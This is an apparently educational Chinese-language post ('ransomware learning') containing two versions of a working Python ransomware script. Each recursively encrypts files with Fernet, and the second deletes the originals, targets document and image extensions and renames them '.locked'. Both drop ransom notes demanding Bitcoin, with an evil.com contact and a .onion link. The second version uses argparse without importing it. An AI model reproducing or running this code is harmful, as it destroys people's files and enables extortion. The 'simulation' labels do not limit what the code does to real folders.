勒索病毒学习

import pathlib  # 用于路径操作，支持跨平台文件遍历
import secrets  # 用于生成安全的随机盐值
import os  # 用于文件系统操作，如检查路径类型
import base64  # 用于 Base64 编码密钥
import getpass  # 用于安全输入密码（不回显）

import cryptography  # 加密库
from cryptography.fernet import Fernet  # Fernet：对称加密接口（AES-128-CBC + HMAC）
from cryptography.hazmat.primitives.kdf.scrypt import Scrypt  # Scrypt：密钥派生函数，抵抗暴力破解

def generate_salt(size=16):
    """
    生成用于密钥派生的盐值。
    盐值防止彩虹表攻击，提高密码安全性。
    参数：size - 盐值长度（默认16字节）
    返回：随机字节串
    """
    return secrets.token_bytes(size)  # 生成 cryptographically secure 的随机字节

def derive_key(salt, password):
    """
    从密码和盐值派生密钥。
    使用 Scrypt KDF：n=2^14（迭代次数，防 GPU 破解），r=8（块大小），p=1（并行度）。
    这模仿真实病毒中密钥生成的复杂性。
    参数：salt - 盐值；password - 用户密码
    返回：32字节密钥
    """
    kdf = Scrypt(salt=salt, length=32, n=2**14, r=8, p=1)  # 配置 Scrypt 参数
    return kdf.derive(password.encode())  # 从 UTF-8 编码的密码派生密钥

def load_salt():
    """
    从当前目录的 salt.salt 文件加载盐值。
    如果文件不存在，会在生成密钥时出错（模拟病毒的持久化）。
    返回：盐值字节
    """
    return open("salt.salt", "rb").read()  # 以二进制模式读取

def generate_key(password, salt_size=16, load_existing_salt=False, save_salt=True):
    """
    生成 Fernet 兼容的密钥。
    - 如果 load_existing_salt=True，从文件加载盐值（用于解密）。
    - 如果 save_salt=True，生成新盐并保存（用于加密）。
    这确保加密/解密使用相同盐值。
    参数：password - 密码；salt_size - 盐值大小；load_existing_salt - 是否加载现有盐；save_salt - 是否保存新盐
    返回：Base64 编码的密钥
    """
    if load_existing_salt:
        # 加载现有盐值（解密时使用）
        salt = load_salt()
    elif save_salt:
        # 生成新盐并保存到文件（加密时使用，模拟病毒植入持久化文件）
        salt = generate_salt(salt_size)
        with open("salt.salt", "wb") as salt_file:
            salt_file.write(salt)  # 以二进制写入
    # 从盐和密码派生密钥，并 Base64 编码（Fernet 要求）
    derived_key = derive_key(salt, password)
    return base64.urlsafe_b64encode(derived_key)

def encrypt(filename, key):
    """
    加密单个文件。
    读取原文件，加密数据，覆盖原文件（真实病毒行为：破坏原文件）。
    参数：filename - 文件路径；key - Fernet 密钥
    """
    f = Fernet(key)  # 创建 Fernet 实例
    with open(filename, "rb") as file:
        # 以二进制读取整个文件数据
        file_data = file.read()
    # 使用 AES 加密数据（Fernet 自动处理 IV 和 HMAC）
    encrypted_data = f.encrypt(file_data)
    # 覆盖原文件写入加密数据（警告：不可逆转，除非有密钥！）
    with open(filename, "wb") as file:
        file.write(encrypted_data)

def decrypt(filename, key):
    """
    解密单个文件。
    读取加密文件，尝试解密，覆盖原文件。
    如果密钥错误，捕获 InvalidToken 异常（模拟支付失败）。
    参数：filename - 文件路径；key - Fernet 密钥
    """
    f = Fernet(key)  # 创建 Fernet 实例
    with open(filename, "rb") as file:
        # 以二进制读取加密数据
        encrypted_data = file.read()
    # 尝试解密
    try:
        decrypted_data = f.decrypt(encrypted_data)  # 自动验证 HMAC
    except cryptography.fernet.InvalidToken:
        print("[!] 无效令牌，很可能是密码错误（模拟赎金支付失败）")
        return  # 退出，不恢复文件
    # 覆盖原文件写入解密数据
    with open(filename, "wb") as file:
        file.write(decrypted_data)

def encrypt_folder(foldername, key):
    """
    递归加密文件夹。
    遍历所有子文件和子文件夹，模仿 WannaCry 的全面扫描。
    参数：foldername - 文件夹路径；key - 密钥
    """
    for child in pathlib.Path(foldername).glob("*"):  # 遍历所有直接子项（* 通配符）
        if child.is_file():
            print(f"[*] 加密文件: {child}")  # 日志输出，模拟病毒活动
            encrypt(child, key)  # 加密文件
        elif child.is_dir():
            # 递归加密子文件夹（深度优先）
            encrypt_folder(child, key)

def decrypt_folder(foldername, key):
    """
    递归解密文件夹。
    与加密类似，但使用解密函数。
    参数：foldername - 文件夹路径；key - 密钥
    """
    for child in pathlib.Path(foldername).glob("*"):
        if child.is_file():
            print(f"[*] 解密文件: {child}")
            decrypt(child, key)
        elif child.is_dir():
            decrypt_folder(child, key)

def generate_ransom_note(foldername):
    """
    生成赎金笔记（新增功能，模仿 WannaCry 的 README.txt）。
    在文件夹中创建文本文件，包含支付指示。
    参数：foldername - 文件夹路径
    """
    note_path = os.path.join(foldername, "RANSOM_NOTE.txt")
    with open(note_path, "w", encoding="utf-8") as note:
        note.write("""
        !!! 您的文件已被加密 !!!

        所有文件已被高级加密算法锁定。您需要支付 0.1 BTC 到地址: 1Mz7153HMuxXTuR2R1t78mGSdzaAtNbBWX
        以获取解密密码。

        支付后，联系 support@evil.com 提供交易 ID，我们将发送密码。

        警告：不要尝试自行解密，否则文件将永久丢失！
        倒计时：48 小时后，赎金翻倍。

        这是一个模拟，仅用于教育目的。
        """)
    print(f"[*] 生成赎金笔记: {note_path}")

if __name__ == "__main__":
    import argparse  # 命令行参数解析
    parser = argparse.ArgumentParser(description="勒索病毒模拟脚本：基于 WannaCry 的教育演示")
    parser.add_argument("path", help="要加密/解密的路径（文件或文件夹）")
    parser.add_argument("-s", "--salt-size", help="设置盐值大小（生成新盐时使用）", type=int)
    parser.add_argument("-e", "--encrypt", action="store_true",
                        help="加密模式（模拟病毒感染）")
    parser.add_argument("-d", "--decrypt", action="store_true",
                        help="解密模式（模拟支付后恢复）")
    # 解析参数
    args = parser.parse_args()
    # 获取密码（加密/解密时输入）
    if args.encrypt:
        password = getpass.getpass("输入加密密码: ")  # 安全输入
        generate_ransom_note(args.path)  # 生成赎金笔记
    elif args.decrypt:
        password = getpass.getpass("输入用于解密的密码: ")
    else:
        raise TypeError("必须指定 -e（加密）或 -d（解密）")
    # 生成密钥
    if args.salt_size:
        key = generate_key(password, salt_size=args.salt_size, save_salt=True)  # 新盐
    else:
        key = generate_key(password, load_existing_salt=True)  # 现有盐
    # 执行加密/解密
    encrypt_ = args.encrypt
    decrypt_ = args.decrypt
    if encrypt_ and decrypt_:
        raise TypeError("不能同时加密和解密")
    elif encrypt_:
        if os.path.isfile(args.path):
            encrypt(args.path, key)  # 单文件加密
        elif os.path.isdir(args.path):
            encrypt_folder(args.path, key)  # 文件夹加密
    elif decrypt_:
        if os.path.isfile(args.path):
            decrypt(args.path, key)
        elif os.path.isdir(args.path):
            decrypt_folder(args.path, key)
    else:
        raise TypeError("必须指定加密或解密")
    print("[*] 操作完成。记住：备份是最好的防御！")

import pathlib  # 用于路径操作，支持跨平台文件遍历（真实病毒常跨 Windows/Linux）
import secrets  # 用于生成安全的随机盐值（cryptographically secure）
import os  # 用于文件系统操作，如检查路径类型、删除文件
import base64  # 用于 Base64 编码密钥（Fernet 要求 URL-safe 格式）
import getpass  # 用于安全输入密码（不回显，防肩窥）
import tempfile  # 新增：用于测试时创建临时目录（模拟隔离环境）
import shutil  # 新增：用于清理测试目录（避免残留）

from cryptography.fernet import Fernet  # Fernet：对称加密接口（AES-128-CBC + HMAC-SHA256，防篡改）
from cryptography.hazmat.primitives.kdf.scrypt import Scrypt  # Scrypt：内存硬化 KDF，抵抗 ASIC/GPU 暴力破解

def generate_salt(size=16):
    """
    生成用于密钥派生的盐值。
    盐值（salt）防止预计算攻击（如彩虹表），每个感染实例唯一。
    参数：size - 盐值字节长度（默认16，平衡安全与性能）
    返回：随机字节串（secrets 确保高熵）
    """
    return secrets.token_bytes(size)  # 生成 cryptographically secure 的随机数

def derive_key(salt, password):
    """
    从密码和盐值派生对称密钥。
    使用 Scrypt KDF：n=2^14（约16K 迭代，增加计算成本），r=8（块大小，防并行），p=1（并行因子）。
    模仿真实病毒（如 Ryuk）使用 PBKDF2/Scrypt 派生 AES 密钥，提高破解难度（需数小时/天）。
    参数：salt - 字节盐值；password - 明文密码（UTF-8）
    返回：32字节密钥（适合 AES-256，但 Fernet 用 AES-128）
    """
    kdf = Scrypt(salt=salt, length=32, n=2**14, r=8, p=1)  # Scrypt 配置：高 n 值模拟真实延迟
    return kdf.derive(password.encode('utf-8'))  # 编码密码，派生密钥

def load_salt():
    """
    从持久化文件 'salt.salt' 加载盐值。
    真实病毒常将盐/公钥嵌入二进制或隐藏文件，实现跨会话一致性。
    如果文件缺失，抛出 FileNotFoundError（解密失败模拟）。
    返回：盐值字节
    """
    with open("salt.salt", "rb") as f:  # 二进制读取
        return f.read()  # 完整盐值

def generate_key(password, salt_size=16, load_existing_salt=False, save_salt=True):
    """
    生成 Fernet 兼容的 Base64 密钥。
    - load_existing_salt=True：解密时加载盐（确保密钥一致）。
    - save_salt=True：加密时生成并持久化盐（模拟病毒“植入”）。
    密钥 = KDF(密码 + 盐)，Base64 编码以便序列化。
    参数：password - 字符串密码；salt_size - 新盐大小；load_existing_salt - 加载模式；save_salt - 保存模式
    返回：Base64 编码的 44 字符密钥字符串
    """
    if load_existing_salt:
        salt = load_salt()  # 加载现有盐
    elif save_salt:
        salt = generate_salt(salt_size)  # 生成新盐
        with open("salt.salt", "wb") as f:  # 二进制写入持久化文件
            f.write(salt)  # 存储盐（真实病毒可能加密此文件）
    else:
        raise ValueError("必须加载或保存盐值")  # 错误处理
    derived_key = derive_key(salt, password)  # 派生主密钥
    return base64.urlsafe_b64encode(derived_key)  # URL-safe Base64（无 +/=）

def encrypt(filename, key, extension='.locked'):
    """
    加密单个文件并重命名（真实行为：破坏原文件，添加扩展防误操作）。
    过程：读原数据 → AES 加密（含随机 IV + HMAC 验证） → 写新文件 → 删原文件。
    模仿 CryptoLocker/LockBit：扩展如 .locked 标记感染。
    参数：filename - 字符串路径；key - Base64 密钥；extension - 添加扩展（默认 .locked）
    """
    f = Fernet(key)  # 初始化 Fernet（自动处理 IV、padding、HMAC）
    with open(filename, "rb") as src:  # 二进制读源文件
        file_data = src.read()  # 完整数据（大文件需优化，但模拟小文件）
    encrypted_data = f.encrypt(file_data)  # 加密：ciphertext = AES(plaintext, IV) + HMAC
    new_filename = filename + extension  # 新路径
    with open(new_filename, "wb") as dst:  # 二进制写加密文件
        dst.write(encrypted_data)  # 覆盖写入
    os.remove(filename)  # 删除原文件（不可逆，除非备份）
    print(f"[*] 加密完成: {filename} -> {new_filename} (大小: {len(encrypted_data)} 字节)")

def decrypt(filename, key):
    """
    解密单个文件并恢复原名（模拟支付后攻击者提供密钥）。
    过程：读加密数据 → 验证 HMAC → AES 解密 → 写原名 → 删加密文件。
    如果密钥/令牌无效，抛 InvalidToken（防篡改，模拟“无效支付”）。
    参数：filename - 带扩展的路径；key - Base64 密钥
    """
    f = Fernet(key)  # 初始化 Fernet
    base_name = filename[:-len('.locked')] if filename.endswith('.locked') else filename  # 剥离扩展
    with open(filename, "rb") as src:  # 读加密文件
        encrypted_data = src.read()
    try:
        decrypted_data = f.decrypt(encrypted_data)  # 解密 + HMAC 验证（失败抛异常）
        with open(base_name, "wb") as dst:  # 写恢复文件
            dst.write(decrypted_data)
        os.remove(filename)  # 删除加密残留
        print(f"[*] 解密成功: {filename} -> {base_name}")
    except Exception as e:  # 捕获 InvalidToken 或其他
        print(f"[!] 解密失败: {e} (检查密码或文件完整性)")

def is_target_file(filename):
    """
    新增：目标文件过滤，模仿真实病毒避免加密系统文件（防蓝屏/检测）。
    只处理高价值扩展：文本、文档、图像、PDF（LockBit 常见目标）。
    参数：filename - 字符串路径
    返回：True 如果是目标文件
    """
    target_exts = {'.txt', '.doc', '.docx', '.jpg', '.jpeg', '.png', '.pdf', '.xls', '.xlsx'}  # 扩展列表
    return pathlib.Path(filename).suffix.lower() in target_exts  # 忽略大小写

def encrypt_folder(foldername, key):
    """
    递归加密文件夹（深度优先遍历）。
    使用 glob("**/*") 递归扫描所有子项，只加密目标文件。
    模仿 WannaCry/LockBit：快速扫描（数千文件/分钟），日志模拟 C2 报告。
    参数：foldername - 字符串路径；key - 密钥
    """
    for child in pathlib.Path(foldername).glob("**/*"):  # **/* : 递归所有文件/文件夹
        if child.is_file() and is_target_file(child):  # 检查类型
            print(f"[*] 扫描并加密目标: {child}")
            encrypt(str(child), key)  # 转换路径字符串
        # 目录自动递归（glob 处理）

def decrypt_folder(foldername, key):
    """
    递归解密文件夹。
    扫描所有 .locked 文件，尝试恢复。
    模仿恢复工具：批量处理，但需精确密钥。
    参数：foldername - 字符串路径；key - 密钥
    """
    for child in pathlib.Path(foldername).glob("**/*.locked"):  # 只 glob 加密文件
        print(f"[*] 扫描并解密: {child}")
        decrypt(str(child), key)

def generate_ransom_note(foldername):
    """
    生成多语言赎金笔记（TXT 格式，模仿 LockBit 的桌面壁纸 + 文件）。
    包含2025年元素：Tor 联系、高赎金、倒计时威胁。
    真实病毒常用 HTML/图片增强恐吓。
    参数：foldername - 字符串路径
    """
    note_path = os.path.join(foldername, "RANSOM_NOTE.txt")
    with open(note_path, "w", encoding="utf-8") as note:  # UTF-8 支持中文/英文
        note.write("""
!!! YOUR FILES ARE LOCKED - 2025 EDITION !!!

All your important files have been encrypted using military-grade AES-256.
To recover them, pay 0.5 BTC to: bc1qxy2kgdygjrsqtzq2n0yrf2493p83kkfjhx0wlh
Contact via Tor: http://decrypt2025.onion/support

Instructions:
1. Download Tor Browser.
2. Send proof of payment with your unique ID: [GENERATED_ID_HERE]
3. We will provide the decryption key within 24 hours.

WARNING: Do not reboot or use antivirus - files will be wiped!
Timer: 72 hours until price doubles. No negotiations.

This is a simulation for educational purposes only.
        """)
    print(f"[*] 赎金笔记生成: {note_path}")

# 命令行接口（argparse）：支持 -e 加密、-d 解密
if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="2025 勒索病毒模拟：LockBit 风格教育工具")
    parser.add_argument("path", help="目标路径（文件/文件夹）")
    parser.add_argument("-e", "--encrypt", action="store_true", help="加密模式")
    parser.add_argument("-d", "--decrypt", action="store_true", help="解密模式")
    parser.add_argument("-p", "--password", help="密码（默认提示输入）")
    args = parser.parse_args()
    
    password = args.password or getpass.getpass("输入密码: ")  # 安全输入
    
    if args.encrypt:
        key = generate_key(password, save_salt=True)  # 新感染：生成盐
        generate_ransom_note(args.path)
        if os.path.isdir(args.path):
            encrypt_folder(args.path, key)
        else:
            encrypt(args.path, key)
    elif args.decrypt:
        key = generate_key(password, load_existing_salt=True)  # 恢复：加载盐
        if os.path.isdir(args.path):
            decrypt_folder(args.path, key)
        else:
            decrypt(args.path, key)
    else:
        print("使用 -e 或 -d 指定模式")